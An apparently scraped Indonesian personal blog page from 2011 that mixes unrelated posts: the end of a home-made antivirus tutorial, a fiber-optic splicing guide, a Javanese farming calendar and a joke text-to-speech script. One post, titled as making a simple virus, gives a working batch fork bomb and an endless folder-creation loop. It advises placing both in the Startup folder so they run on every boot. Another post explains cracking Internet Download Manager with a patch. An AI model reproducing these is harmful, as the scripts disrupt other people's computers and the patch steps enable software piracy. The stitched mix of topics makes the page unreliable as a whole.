cancel pada saat memilih file================= END HERE ====================Fitur AV sederhana ini dapat ditambahkan dengan fitur process scanner, akses registry, real-time protection (RTP) dan lain lain. Untuk process scanner pada dasarnya adalah teknik enumerasi seluruh proses yang sedang berjalan pada Sistem Operasi, lalu mencari letak atau lokasi file dan melakukan proses scanning. Fitur akses registry memungkinkan kita untuk mengedit secara langsung registry windows apabila akses terhadap registry (–Regedit) diblok oleh virus. Sedangkan fitur RTP memungkinkan AV kita berjalan secara simultan dengan windows explorer untuk mengscan direktori atau file yang sedang kita browse atau lihat. Untuk ketiga fitur lanjutan ini akan dibahas pada artikel selanjutnya.Kesimpulan#
Tidak harus membeli software AV yang mahal untuk menjaga komputer kita dari ancaman virus, kita bisa membuatnya sendiri dengan fitur-fitur yang tak kalah bagusnya. Memang terdapat ketidaksempurnaan dalam AV buatan sendiri ini, tetapi setidaknya dapat dijadikan pencegah dari infeksi virus komputer yang semakin merajalela. Software AV sederhana ini dilengkapi oleh engine scanner statis dan database definisi. Tidak tertutup kemungkinan software AV ini ditingkatkan lebih advanced dalam hal engine scannernya.Penutup#
Pengembangan software AV sederhana ini sepenuhnya Open-Source selama mengikutsertakan nama pembuat asli didalamnya. Listing serta projek lengkap dapat didownload di http://www.geocities.com/emomelodicfreak/ProjekAV.zip

Senin, 24 Oktober 2011

membuat virus sederhana

1. Cara Membuat Virus Sederhana – Bom Fork
Menjalankanfork bom akan menyebabkan kemacetan total CPU dengan membuka sekitar 500 proses command prompt. Penggunaan CPU akan kelebihan beban dan komputer akan hang.
1. Buka Notepad dan ketik “%0|%0” (tanpa tanda kutip)
2. Save as .bat , sebagai contoh fork.bat
Menjalankan File .bat yang kamu buat pada langkah 2, setelah sebuah bom yang sukses telah diaktifkan dalam sistem, mungkin harus reboot untuk mengembalikannya normal.
2. Cara membuat virus yang Akan Membuat 1.000 Folder Dalam beberapa detik
Di sini saya akan mengajarkan kamu virus sederhana yang akan membuat sejumlah unlimmited folder di tempat yang kamu inginkan. Pening juga kalau ada 1000 folder yg tampil dalam beberapa detik… :roll:
Langkah pertama :
buka notepad dan ketik :
@echo off
:top
md %random%
goto top
@ Echo off membuatnya sehingga tampaknya menjadi layar kosong tetapi sebenarnya ratusan pembuatan folder.
Md %random% adalah perintah yang membuat folder dengan nama acak.
goto top – kembali ke label: atas
Langkah selanjutnya simpan misal dengan nama 1000folders.bat
Setelah itu kamu akan mendapatkan ikon yang terlihat seperti ditunjukkan di bawah ini
Jika ada orang yang menjalankan file 1000folders.bat maka akan terdapat 1000 folder yang dijamin akan membuat kesal :roll:
Dari kedua virus sederhana diatas, cara penyebarannya tergantung dari kreatifitas kamu. Saya sarankan copy dari kedua file tersebut, lalu paste di folder StartUp di start menu windows agar pada saat setiap komputer dinyalakan / restart, kedua file tersebut dijalankan secara otomatis. :D

NB : Ini cuman sekedar pembelajaran saja, jangan disalah gunakan..OK??

Penyambungan Kabel Serat Optik Share

Alat dan Bahan yang dibutuhkan :
-Fiber Stripper
-Fiber Clever
-Tissue
-Alkohol 90%
-Fusion Splicer
-Kabel Serat Optik

Proses penyambungan :
-Pertama - tama persipakan kabel serat optik yang ingin disambungkan dengan kabel serat optik lainnya
-Setelah kita menyiapkan semua alat - alat yang tertera di atas, setelah itu kita memotong coating dari kabel serat optik tersebut dengan menggunakan fiber stripper.
-Setelah coating dari kabel serat optik itu dipotong, selanjutnya bersihkan corenya dengan menggunakan tissue dan alkohol 95%
-Setelah itu kita persiapkan alat penyambungannya yaitu fusion splicer
-Setelah alat itu siap, maka kita memotong core yang telah dibersihkan tadi dengan menggunakan fiber clever
-Setelah itu maka kita menaruh serat optik yang telah dipotong tersebut ke dalam fusion splicer
-Kemudian tekan "SET" maka serat optik akan menyambung dengan cara yang otomatis

kelamin komputer coy hehehe

0 komentar
Cara mengetahui Jenis Kelamin Laptop/Komputer Kita... Serius??
Share

Hai sobat blogger... Sekilas ini kedengarannya lucu... tapi kalo tidak percaya, sob bisa mencobanya langsung... Ini caranya :

Buka notepad di Start – All Programs – Accessories.
Tuliskan kode ini: CreateObject(“SAPI.SpVoice”).Speak”I Love U Full!”
Lalu klik File – Save As. Simpan dan beri nama loveufull.vbs

Jika sudah selesai, klik dua kali pada file vbs tersebut... Jika suara yang keluar adalah laki - laki, maka compimu berkelamin laki2... dan sebaliknya...

pancasila {KAJIAN KEARIFAN LOKAL MASYARAKAT DALAM PENGELOLAAN SUMBERDAYA ALAM DAN LINGKUNGAN}

1) Di Jawa
a. Pranoto Mongso
Pranoto mongso atau aturan waktu musim digunakan oleh para tani pedesaan yang
didasarkan pada naluri dari leluhur dan dipakai sebagai patokan untuk mengolah pertanian.
Berkaitan dengan kearifan tradisional maka pranoto mongso ini memberikan arahan kepada petani
untuk bercocok tanam mengikuti tanda-tanda alam dalam mongso yang bersangkutan, tidak
memanfaatkan lahan seenaknya sendiri meskipun sarana prasarana mendukung seperti misalnya air
dan saluran irigasinya. Melalui perhitungan pranoto mongso maka alam dapat menjaga
keseimbangannya.
Urut-urutan pranoto mongso menurut Sastro Yuwono (http://kejawen.co.cc/pranoto mongsoaliran
musim jawa Asli ) adalah sebagai berikut :
a.1. Kasa berumur 41 hari (22 Juni – 1 Agustus). Para petani membakar dami yang tertinggal di
sawah dan di masa ini dimulai menanam polowijo.
a.2. Karo berumur 23 hari (2 – 24 Agustus). Polowijo mulai tumbuh, pohon randu dan mangga
mulai bersemi, tanah mulai retak/berlubang, suasana kering dan panas.
a.3. Katiga/katelu berumur 24 hari (25 Agustus-17 September). Sumur-sumur mulai kering dan
anin yang berdebu. Tanah tidak dapat ditanami (jika tanpa irigasi) karena tidak ada air dan
panas. Palawija mulai panen.
a.4. Kapat berumur 25 hari (18 September -12 Oktober) Musim kemarau, para petani mulai
menggarap sawah untuk ditanami padi gogo, pohon kapuk mulai berbuah
a.5. Kalima berumur 27 hari (13 Oktober – 8 Nopember). Mulai ada hujan, petani mulai
membetulkan sawah dan membuat pengairan di pinggir sawah, mulai menyebar padi gogo,
pohon asam berdaun muda.
a.6. Kanem berumur 43 hari (9 Nopember – 21 Desember). Musim orang membajak sawah,
petani mulai pekerjaannya di sawah, petani mulai menyebar bibit tanaman padi di
pembenihan, banyak buah-buahan.
a.7. Kapitu berumur 43 hari (22 Desember – 2 Februari ). Para petani mulai menanam padi,
banyak hujan, banyak sungai yang banjir, angin kencang
a.8. Kawolu berumur 26 hari, tiap 4 tahun sekali berumur 27 hari (3 Februari-28 Februari
Padi mulai hijau, uret mulai banyak
a.9. Kasanga berumur 25 hari (1 - 25 Maret). Padi mulai berkembang dan sebagian sudah
berbuah, jangkrik mulai muncul, kucing mulai kawin, tonggeret mulai bersuara
a.10. Kasepuluh berumur 24 hari (26 Maret-18 April). Padi mulai menguning, mulai panen,
banyak hewan bunting
a.11. desta berumur 23 hari (19 April-11Mei). Petani mulai panen raya
a.12. sadha berumur 41 hari (12 Mei – 21 Juni) . Petani mulai menjemur padi dan memasukkannya
ke lumbung.

Minggu, 23 Oktober 2011

IDM boy

Internet Download Manager
Berikut ini adalah cara lain agar IDM bisa Full Version, yaitu menggunakan file Patch.
Cara ini memang cepat tapi KELEMAHANNYA adalah jika suatu saat IDM men-DETECT bahwa Serial Number hasil dari PATCH, maka bisa Serial Number dari file Patch tersebut TIDAK BISA digunakan lagi.
Jadi DISARANKAN menggunakan cara “Memaksa IDM Versi Berapapun untuk FULL VERSION“, walaupun sedikit rumit tapi bisa untuk selamanya.

Baiklah, berikut cara dengan menggunakan File Patch IDM :
- Buat yang belum punya IDM : Download terbaru 6.07 dahulu disini.
- Untuk yang sudah punya IDM : Uninstall IDM anda dan hilangkan dari REGISTRY.
Cara Hilangkan IDM dari REGISTRY :
- Klik Start - Run
- Ketik : Regedit
- Klik HKEY_LOCAL_MACHINE - SOFWARE
- Cari folder Internet Download Manager kemudian Hapus/Dellete
- Letakkan file “SnDk&p” ini dalam 1 folder HASIL anda meng-INSTALL IDM.
- Sebelum menggunakan file ini “SnDk&p” IDM anda HARUS dimatikan lebih dahulu.
- Jalankan file “SnDk&p”, nanti keluar program. Tekan tombol “Patch Server Check” dan anda akan mendapatkan Serial Number IDM nya.
Patch IDM 6.07
Patch IDM 6.07
- Buka IDM anda yang baru, kemudian pilih menu “Registration” kemudian pilih “Registration”.
- Masukkan Nama dan Email (terserah, bebas) kemudian masukkan Serial Number yang di dapat dari “SnDk&p” tadi.
- Selamat IDM anda sudah Full Version dengan Nama lisensi anda sendiri.
DOWNLOAD IDM 6.07 Full Version + Patch

Daftar Blog Saya

Total Tayangan Halaman